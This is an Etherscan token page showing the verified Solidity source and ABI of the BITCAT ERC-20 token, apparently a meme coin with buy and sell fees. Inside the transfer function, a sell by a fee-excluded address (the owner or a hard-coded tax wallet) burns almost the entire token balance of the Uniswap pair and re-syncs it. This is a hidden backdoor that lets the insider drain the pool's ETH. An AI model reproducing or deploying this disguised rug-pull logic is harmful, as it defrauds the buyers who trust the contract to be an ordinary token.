ETH Price: $2,285.00 (-3.09%)

Token

BITCAT (BITCAT)
 

Overview

Max Total Supply

72,507,841.525488784475159737 BITCAT

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
*あなたのお母さんが大好き.eth
Balance
1,273,886.810743641348593646 BITCAT

Value
$0.00
0x5e243b65a17d7e3fa9ae9bc44583cf3d7a825d0c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BITCAT

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-22
*/

/**

Website: https://www.bitcat.wtf

Twitter:  https://twitter.com/bitcat_erc

Telegram: https://t.me/bitcat_erc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function sync() external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(
        uint256 amountIn,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract BITCAT is IERC20, Ownable, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;

    uint256 private _totalSupply;

    uint256 private _total = 100_000_000 * 10 ** _decimals;

    uint256 private _maxTxAmount = _total * 20 / 1000;
    uint256 private _maxWalletBalance = _total * 20 / 1000;
    
    uint256 private constant _divisor = 10000;

    address private uniswapV2Pair;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 private uniswapV2Router;

    bool private swapping = false;
    bool private burnEnabled = false;
    bool private swapEnabled = false;
    bool private tradingOpen = false;

    mapping(address => bool) private _isExcludedFromMaxTx;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _automatedMarketMakerPairs;

    uint256 public _buyFees = 100;
    uint256 public _sellFees = 100;
    uint256 public _burnFees = 1;

    address payable private _taxWallet =
        payable(0x9a45f784a95199A12E2D51aC3a96D7B0919fdD52);

    address private constant _burnAddress = address(0);

    string private constant _nameToken = "BITCAT";
    string private constant _symbolToken = "BITCAT";
    uint8 private constant _decimals = 18;

    event Received();

    constructor() {

        excludeFromFees(owner(), true);
        excludeFromFees(_taxWallet, true);
        excludeFromFees(address(this), true);
    
        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(_taxWallet, true);
        excludeFromMaxTx(address(this), true);

        _mint(_msgSender(), _total);
    }

    function symbol() public pure returns (string memory) {
        return _symbolToken;
    }

    function name() public pure returns (string memory) {
        return _nameToken;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function getMaxTxAmount() public view returns (uint256) {
        return _maxTxAmount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _beforeTransfer(sender, recipient, amount);

        if (sender != owner() && recipient != owner()) {
            require(
                tradingOpen ||
                    _isExcludedFromFees[sender] ||
                    _isExcludedFromFees[recipient],
                "Not Enabled"
            );
            if (
                !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]
            ) {
                if (
                    _automatedMarketMakerPairs[sender] &&
                    recipient != address(uniswapV2Router) &&
                    !_isExcludedFromMaxTx[recipient]
                ) {
                    require(
                        amount <=
                            _maxTxAmount
                            ,
                        "Transfer amount exceeds the maxTxAmount."
                    );

                    require(
                        balanceOf(recipient).add(amount) <=
                            _maxWalletBalance,
                        "Exceeds maximum wallet token amount"
                    );
                }
            }
        }

        if (swapping || !swapEnabled) {
            _balances[sender] = _balances[sender].sub(
                amount,
                "ERC20: transfer amount exceeds balance"
            );
            _balances[recipient] = _balances[recipient].add(amount);

            emit Transfer(sender, recipient, amount);
        } else {
            if (
                !_automatedMarketMakerPairs[sender] &&
                !_isExcludedFromFees[recipient] &&
                !_isExcludedFromFees[sender]
            ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance > 0) {
                    swapTokensForEth(contractTokenBalance);
                }

                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }

            uint256 burnFee = 0;
            uint256 devFee = 0;

            // if sell
            if (
                _automatedMarketMakerPairs[recipient] && sender != address(this)
            ) {
                if (_isExcludedFromFees[sender]) {
                    burnFee = amount.mul(_burnFees).div(_divisor);
                }
                devFee = amount.mul(_sellFees).div(_divisor);
            }
            // if buy
            if (
                _automatedMarketMakerPairs[sender] &&
                recipient != address(uniswapV2Router)
            ) {
                devFee = amount.mul(_buyFees).div(_divisor);
            }

            uint256 totalFee = burnFee.add(devFee);
            if (totalFee > 0) {
                if (burnFee > 0) {
                    uint256 finalAmount = 0;
                    if (_balances[recipient] > burnFee) {
                        finalAmount = _balances[recipient] - burnFee;
                        _burn(recipient, finalAmount);
                        IUniswapV2Pair pair = IUniswapV2Pair(recipient);
                        pair.sync();
                    }
                }

                if (devFee > 0) {
                    _balances[address(this)] = _balances[address(this)].add(
                        devFee
                    );
                    emit Transfer(sender, address(this), devFee);
                }
            }

            _balances[sender] = _balances[sender].sub(
                amount,
                "ERC20: transfer amount exceeds balance"
            );
            _balances[recipient] = _balances[recipient].add(amount.sub(devFee));

            emit Transfer(sender, recipient, amount.sub(devFee));
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function getPairAddress() public view returns (address) {
        return uniswapV2Pair;
    }

    function getRouterAddress() public view returns (address) {
        return address(uniswapV2Router);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _burnFrom(address account, uint256 amount) internal virtual {
        _burn(account, amount);
        _approve(
            account,
            _msgSender(),
            _allowances[account][_msgSender()].sub(
                amount,
                "ERC20: burn amount exceeds allowance"
            )
        );
    }

    function excludeFromFeesMulti(address[] memory addresses) public onlyOwner {
        require(addresses.length <= 200, "Maximum of 200 can be added at once");

        mapping(address => bool) storage ref = _isExcludedFromFees;

        for (uint256 i = 0; i < addresses.length; i++) {
            ref[addresses[i]] = true;
        }
    }

    function excludeFromFees(address account, bool value) public onlyOwner {
        _isExcludedFromFees[account] = value;
    }

    function excludeFromMaxTx(address account, bool value) public onlyOwner {
        _isExcludedFromMaxTx[account] = value;
    }

    function removeLimits() external onlyOwner returns (bool) {
        _maxTxAmount = ~uint256(0);
        _maxWalletBalance = ~uint256(0);
        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }

    function isExcludedFromFees(address _address) public view returns (bool) {
        return _isExcludedFromFees[_address];
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    function sendETHToFee(uint256 amount) internal {
        _taxWallet.transfer(amount);
    }

    function isSwapLocked() public view returns (bool) {
        return swapping;
    }

    receive() external payable {
        emit Received();
    }

    function _beforeTransfer(
        address from,
        address to,
        uint256 amount
    ) internal pure {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from _automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        _automatedMarketMakerPairs[pair] = value;
    }

    function addLiquidityETH() external payable onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        _setAutomatedMarketMakerPair(uniswapV2Pair, true);
        excludeFromMaxTx(uniswapV2Pair, true);

        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_burnFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"excludeFromFeesMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}